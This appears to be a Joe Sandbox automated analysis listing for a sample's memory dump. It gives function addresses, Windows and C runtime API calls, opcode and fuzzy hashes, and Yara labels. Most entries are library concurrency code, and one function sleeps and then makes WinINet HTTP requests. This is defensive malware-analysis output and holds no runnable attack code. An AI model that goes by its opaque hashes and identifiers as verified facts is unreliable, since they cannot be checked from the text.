Instruction ID: f38447c1d3a2fd38f1ea76110481370b6d1baec8bb618fcc3506a1d42d2d2ac2
Opcode Fuzzy Hash: 6e04c09eee0dd3c26a973acc81b3844bd1f5e5c2ed9972e57c85319a5b18f337
Instruction Fuzzy Hash: 7F81A170D0424AABDF169F54C9A1BFE7BB3AF65304F04009AEC416B352C7728D5ADBA1

Function 006C44DE Relevance: 21.2, APIs: 14, Instructions: 189timeregistryCOMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 006C4538

Part of subcall function 006C4319: RtlInitializeSListHead.NTDLL(?), ref: 006C43E5
Part of subcall function 006C4319: RtlInitializeSListHead.NTDLL(?), ref: 006C43EF

ListArray.LIBCONCRT ref: 006C456C
Hash.LIBCMT ref: 006C45D5
Hash.LIBCMT ref: 006C45E5
RtlInitializeSListHead.NTDLL(?), ref: 006C467A
RtlInitializeSListHead.NTDLL(?), ref: 006C4687
RtlInitializeSListHead.NTDLL(?), ref: 006C4694
RtlInitializeSListHead.NTDLL(?), ref: 006C46A1

Part of subcall function 006C9C41: std::bad_exception::bad_exception.LIBCMT ref: 006C9C63

RegisterWaitForSingleObject.KERNEL32(?,00000000,006C7A15,?,000000FF,00000000), ref: 006C4729
Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 006C474B
GetLastError.KERNEL32(006C548B,?,?,00000000,?,?), ref: 006C475D
Concurrency::details::platform::__CreateTimerQueueTimer.LIBCMT ref: 006C477A

Part of subcall function 006BFBAA: CreateTimerQueueTimer.KERNEL32(?,?,00000000,?,?,006C548B,00000008,?,006C477F,?,00000000,006C7A06,?,7FFFFFFF,7FFFFFFF,00000000), ref: 006BFBC2

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 006C47A4

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: List$HeadInitialize$Timer$ArrayCreateHashQueueRegister$AsyncConcurrency::details::Concurrency::details::platform::__Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorLastLibraryLoadObjectSingleWaitstd::bad_exception::bad_exception
String ID:
API String ID: 2750799244-0
Opcode ID: 665d3d7f130ec3d30e7749ebba8de5427050ab44d931a2b304324d9c3846c873
Instruction ID: 7df9967330cdbaa3307112ac3fee64ab4d8a2aace4ae17d13ae823cf074b6995
Opcode Fuzzy Hash: 665d3d7f130ec3d30e7749ebba8de5427050ab44d931a2b304324d9c3846c873
Instruction Fuzzy Hash: 608150B0A11A52BBD748DF74C895BE9FBA9FF09700F00421EF42897291DBB4A564CBD4

Function 006C2832 Relevance: 19.7, APIs: 13, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::RetrieveSystemVersionInformation.LIBCONCRT ref: 006C2841

Part of subcall function 006C3B2C: GetVersionExW.KERNEL32(?), ref: 006C3B50
Part of subcall function 006C3B2C: Concurrency::details::WinRT::Initialize.LIBCONCRT ref: 006C3BEF

Concurrency::details::ResourceManager::CaptureProcessAffinity.LIBCONCRT ref: 006C2855
Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 006C2876
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 006C28DF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 006C2913

Part of subcall function 006C07ED: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 006C080D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 006C2993

Part of subcall function 006C235C: Concurrency::details::platform::__GetLogicalProcessorInformationEx.LIBCONCRT ref: 006C2370

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 006C29DB

Part of subcall function 006C07C2: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 006C07DE

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 006C29EF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 006C2A00
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 006C2A4D
Concurrency::details::ResourceManager::CaptureProcessAffinity.LIBCONCRT ref: 006C2A72
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 006C2A7E

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Manager::Resource$Affinity$Apply$Restrictions$Information$Topology$CaptureProcessRestriction::Version$CleanupConcurrency::details::platform::__FindGroupInitializeLimitsLogicalProcessorRetrieveSystem
String ID:
API String ID: 4140532746-0
Opcode ID: e173aafca975c1d6f2c520fd8e730c03a7bcf20c61d26cd58b9c3852765e5b0a
Instruction ID: 4229b374785608e02ea2ae9631f76013f16aa4b2e73fee57487c34d717f88384
Opcode Fuzzy Hash: e173aafca975c1d6f2c520fd8e730c03a7bcf20c61d26cd58b9c3852765e5b0a
Instruction Fuzzy Hash: 6581BF71A01657DBCB18DFA9D8A0ABEBBB2FB48300B54812DD845E7341DB34AD45CF98

Function 006BFA71 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 60libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,00000000,00000000,?,?,?,006C3BE6), ref: 006BFA7F
GetProcAddress.KERNEL32(00000000,SetThreadGroupAffinity), ref: 006BFA8D
GetProcAddress.KERNEL32(00000000,GetThreadGroupAffinity), ref: 006BFA9B
GetProcAddress.KERNEL32(00000000,GetCurrentProcessorNumberEx), ref: 006BFAC9
GetLastError.KERNEL32(?,?,?,006C3BE6), ref: 006BFAE4
GetLastError.KERNEL32(?,?,?,006C3BE6), ref: 006BFAF0
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 006BFB06

Strings

SetThreadGroupAffinity, xrefs: 006BFA87
GetCurrentProcessorNumberEx, xrefs: 006BFABE
GetThreadGroupAffinity, xrefs: 006BFA93
kernel32.dll, xrefs: 006BFA7A

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: AddressProc$ErrorLast$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorHandleModule
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 1654681794-465693683
Opcode ID: 8e81eb908b373f5b22b88119ca5ffe32b9b1fc5ef729d12b0d268471ff214ee6
Instruction ID: 8555ee8a43da7b94ba446f6be62805f21880ed91ef12b4b4e36e0d9f244d1264
Opcode Fuzzy Hash: 8e81eb908b373f5b22b88119ca5ffe32b9b1fc5ef729d12b0d268471ff214ee6
Instruction Fuzzy Hash: D50104B1600305EFA3007BB5AC8AFFB3BAFE908744310052AB506D2262EEB4C440CB64

Function 006D52A5 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 006D53A0
type_info::operator==.LIBVCRUNTIME ref: 006D53C7
___TypeMatch.LIBVCRUNTIME ref: 006D54D3
CatchIt.LIBVCRUNTIME ref: 006D5528
IsInExceptionSpec.LIBVCRUNTIME ref: 006D55AE
_UnwindNestedFrames.LIBCMT ref: 006D5635
CallUnexpected.LIBVCRUNTIME ref: 006D5650

Strings

csm, xrefs: 006D53FE
csm, xrefs: 006D534D
csm, xrefs: 006D52E0

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 4234981820-393685449
Opcode ID: 4642d05a3b8ba893cf7e6f23c9a275657a49c7bb5594e2e7382eb184c3a56a55
Instruction ID: 6a7573810146addec8cbd7cc943a3b0c09f856703aed16baeda8e546a97b50ec
Opcode Fuzzy Hash: 4642d05a3b8ba893cf7e6f23c9a275657a49c7bb5594e2e7382eb184c3a56a55
Instruction Fuzzy Hash: CAC19771C00A09EFCF26DFA4D8809AEBBB6BF14311F04415BE812ABB12D771DA51CB91

Function 006D2970 Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 006D2982

Part of subcall function 006D24E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 006D2504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 006D29A3
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 006D29B0
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 006D29FE
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 006D2AA6
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 006D2AD8

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: 636cb4299f3f51106f73cc380b3198475d7a53251f5ed635f2c585bc0937192d
Instruction ID: 02319e29da8494e3952c334b8ae86d23ce352a0230e2dbe12442142d936b6310
Opcode Fuzzy Hash: 636cb4299f3f51106f73cc380b3198475d7a53251f5ed635f2c585bc0937192d
Instruction Fuzzy Hash: CF717970D0024AABDF158F64C9A1AFEBBB3EF65308F04409AEC416B352C7719D16DB61

Function 006ABE82 Relevance: 15.3, APIs: 10, Instructions: 343networkfilesleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000005DC), ref: 006ABEB8
InternetOpenW.WININET(006F8DC8,00000000,00000000,00000000,00000000), ref: 006ABEC7
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 006ABEEB
HttpOpenRequestA.WININET(?,00000000), ref: 006ABF35
HttpSendRequestA.WININET(?,00000000), ref: 006ABFF5
InternetReadFile.WININET(?,?,000003FF,?), ref: 006AC0A7
InternetReadFile.WININET(?,00000000,000003FF,?), ref: 006AC160
InternetCloseHandle.WININET(?), ref: 006AC187
InternetCloseHandle.WININET(?), ref: 006AC18F
InternetCloseHandle.WININET(?), ref: 006AC197

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$FileHttpOpenReadRequest$ConnectSendSleep
String ID:
API String ID: 1439999335-0
Opcode ID: bb5bed2a383b3f35773be07405de83df2a608e3f2acedd943083654ecdd584f5
Instruction ID: 2ebc0fef04dda3b0b9b3f718c45758d84cd3db448faba4da1cc6a104133dcaad
Opcode Fuzzy Hash: bb5bed2a383b3f35773be07405de83df2a608e3f2acedd943083654ecdd584f5
Instruction Fuzzy Hash: D9D1C2B16101189BEB28EF28CC88BED7B76EF46314F508199F50997296DB359EC0CF94

Function 006C69DA Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 006C6A1F
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 006C6A51
List.LIBCONCRT ref: 006C6A8C
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 006C6A9D
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 006C6AB9
List.LIBCONCRT ref: 006C6AF4
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 006C6B05
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 006C6B20
List.LIBCONCRT ref: 006C6B5B
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 006C6B68

Part of subcall function 006C5EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 006C5EF7
Part of subcall function 006C5EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 006C5F09

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 2f7af67c50368df58dbc42c7a39e667be4f9f9c44dd16b3d404a49fb0bf2eeba
Instruction ID: 6f64d92abbc631193755252564d2549f984f85542fc6d1ddc464866f531a49e8
Opcode Fuzzy Hash: 2f7af67c50368df58dbc42c7a39e667be4f9f9c44dd16b3d404a49fb0bf2eeba
Instruction Fuzzy Hash: AA512E71A00219ABDB08DFA4C995FFDB3A9FF08344F15406DE915AB382DB30AE55CB94

Function 006DA559 Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 006DA56F

Part of subcall function 006DADF5: HeapFree.KERNEL32(00000000,00000000,?,006DF0CD,?,00000000,?,?,?,006DF0F4,?,00000007,?,?,006DF4F6,?), ref: 006DAE0B
Part of subcall function 006DADF5: GetLastError.KERNEL32(?,?,006DF0CD,?,00000000,?,?,?,006DF0F4,?,00000007,?,?,006DF4F6,?,?), ref: 006DAE1D

_free.LIBCMT ref: 006DA57B
_free.LIBCMT ref: 006DA586
_free.LIBCMT ref: 006DA591
_free.LIBCMT ref: 006DA59C
_free.LIBCMT ref: 006DA5A7
_free.LIBCMT ref: 006DA5B2
_free.LIBCMT ref: 006DA5BD
_free.LIBCMT ref: 006DA5C8
_free.LIBCMT ref: 006DA5D6

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 9c8b702885eab9e3d100f80f3765fda883e6e2b364e3a93b50c1d5c1269d34f9
Instruction ID: c01e1079436fd8e9fc28013ada718c9c9fc97e2c95a9c7e88602e3c2fd9f978c
Opcode Fuzzy Hash: 9c8b702885eab9e3d100f80f3765fda883e6e2b364e3a93b50c1d5c1269d34f9
Instruction Fuzzy Hash: 74219876908148EFCB41EFE8C881DDE7BBAAF08341B0141AAF5159B621DB31DA848B85

Function 006C7364 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 80threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 006C73B0
SwitchToThread.KERNEL32(?), ref: 006C73D3
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 006C73F2
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 006C740E
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 006C7419
std::invalid_argument::invalid_argument.LIBCONCRT ref: 006C7440

Strings

count, xrefs: 006C737E
ppVirtualProcessorRoots, xrefs: 006C7438

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementSwitchThreadstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 3791123369-3650809737
Opcode ID: 6a092f58bbddc33034e3ff441ce5c2153f41ee3a39662da5015695cca9990621
Instruction ID: e222071134abbbef16a70218afe718a18fde70c46c26e8f5ba16f0144c194ae0
Opcode Fuzzy Hash: 6a092f58bbddc33034e3ff441ce5c2153f41ee3a39662da5015695cca9990621
Instruction Fuzzy Hash: 8E212C74A00219AFCB14EF65C595EFDBBBAEF09350F1480ADE90597351CB31AA41CF94

Function 006C6E1C Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 006C6E36
GetCurrentProcess.KERNEL32 ref: 006C6E3E
DuplicateHandle.KERNEL32(00000000,000000FF,00000000,00000000,00000000,00000000,00000002), ref: 006C6E53
SafeRWList.LIBCONCRT ref: 006C6E73

Part of subcall function 006C4E6E: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 006C4E7F
Part of subcall function 006C4E6E: List.LIBCMT ref: 006C4E89

std::invalid_argument::invalid_argument.LIBCONCRT ref: 006C6E85
GetLastError.KERNEL32 ref: 006C6E94
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 006C6EAA

Strings

eventObject, xrefs: 006C6E7D

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: CurrentListProcess$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorDuplicateErrorHandleLastLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 165577817-1680012138
Opcode ID: f29f25740b12e2c8196dc94e00ff5abc67f09896f56fdfac06b04b1a24e189b5
Instruction ID: 16c0ebdc6707da2a168a540f37bddc4ffa54f9cf870f8994b2636427a3e3a52b
Opcode Fuzzy Hash: f29f25740b12e2c8196dc94e00ff5abc67f09896f56fdfac06b04b1a24e189b5
Instruction Fuzzy Hash: 9111A375500208E7DB10EBA4CD8AFFE3BBAAB08711F20411AF105E61D2DB709A04C779

Function 006E56D2 Relevance: 13.8, APIs: 9, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac4e146cf1e4defe9b07f77c216b23ed52524926677816bda2e398a7c5d0de86
Instruction ID: 7e57ffd548ed0dd8222a06b5d902dd7020a3040aeb412f2f88a8b31e54b74ab4
Opcode Fuzzy Hash: ac4e146cf1e4defe9b07f77c216b23ed52524926677816bda2e398a7c5d0de86
Instruction Fuzzy Hash: BAC1DD70E05789DFDF11DF9AD880BEDBBB2AF09318F00415AE4069B392DB709942CB65

Function 006C78E1 Relevance: 13.6, APIs: 9, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 006C7903

Part of subcall function 006C5CB8: __EH_prolog3_catch.LIBCMT ref: 006C5CBF
Part of subcall function 006C5CB8: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 006C5CF8

Concurrency::details::SchedulerBase::NotifyThrottledContext.LIBCONCRT ref: 006C7911

Part of subcall function 006C691D: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 006C6942
Part of subcall function 006C691D: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 006C6965

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 006C792A
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 006C7936

Part of subcall function 006C5CB8: RtlInterlockedPopEntrySList.NTDLL(?), ref: 006C5D41
Part of subcall function 006C5CB8: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 006C5D70
Part of subcall function 006C5CB8: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 006C5D7E

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 006C7982
Concurrency::location::_Assign.LIBCMT ref: 006C79A3
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 006C79AB
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 006C79BD
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 006C79ED

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$Context$Throttling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_EntryExerciseFoundH_prolog3_catchInterlockedListNextNotifyProcessor::RingSchedulingSpinStartupThrottledTicket::TimerUntilWith
String ID:
API String ID: 2678502038-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
